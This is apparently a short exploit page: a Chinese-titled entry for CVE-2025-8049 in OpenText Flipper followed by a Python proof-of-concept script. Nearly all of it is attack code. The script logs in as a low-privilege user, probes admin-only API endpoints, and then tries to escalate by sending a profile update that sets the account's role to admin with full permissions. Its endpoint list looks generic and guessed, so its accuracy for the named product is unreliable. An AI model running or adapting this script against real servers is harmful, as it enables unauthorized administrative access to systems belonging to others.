CVE-2025-8049 OpenText Flipper 访问控制粒度不足漏洞

# CVE-2025-8049 - OpenText Flipper Access Control Bypass PoC # Vulnerability: Insufficient Granularity of Access Control # Affected Version: OpenText Flipper 3.1.2 # Author: Security Researcher import requests import json class FlipperExploit: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.username = username self.password = password def authenticate(self): """Authenticate as a low-privilege user""" login_url = f"{self.target_url}/api/auth/login" payload = { "username": self.username, "password": self.password } response = self.session.post(login_url, json=payload) if response.status_code == 200: token = response.json().get('token') self.session.headers.update({'Authorization': f'Bearer {token}'}) print(f"[+] Authenticated as: {self.username}") return True return False def test_privilege_escalation(self): """Attempt to access admin-only endpoints with low-privilege token""" admin_endpoints = [ "/api/admin/users", "/api/admin/config", "/api/admin/system/settings", "/api/flipper/elevate", "/api/role/upgrade" ] for endpoint in admin_endpoints: url = f"{self.target_url}{endpoint}" response = self.session.get(url) if response.status_code == 200: print(f"[!] PRIVILEGE ESCALATION SUCCESS: {endpoint}") print(f" Response: {response.text[:200]}") return True elif response.status_code == 403: print(f"[-] Blocked: {endpoint}") else: print(f"[?] Status {response.status_code}: {endpoint}") return False def exploit_role_manipulation(self): """Attempt to modify user role via insecure parameter""" url = f"{self.target_url}/api/user/profile" payload = { "role": "admin", "privilege_level": "superuser", "permissions": ["read", "write", "delete", "admin"] } response = self.session.put(url, json=payload) if response.status_code == 200: print("[+] Role manipulation successful!") return True return False def main(): # Configuration TARGET = "https://target-flipper-server.com" LOW_PRIV_USER = "testuser" LOW_PRIV_PASS = "password123" exploit = FlipperExploit(TARGET, LOW_PRIV_USER, LOW_PRIV_PASS) if exploit.authenticate(): print("[*] Testing privilege escalation vectors...") if exploit.test_privilege_escalation(): print("[!] Vulnerability confirmed - CVE-2025-8049") exploit.exploit_role_manipulation() if __name__ == "__main__": main()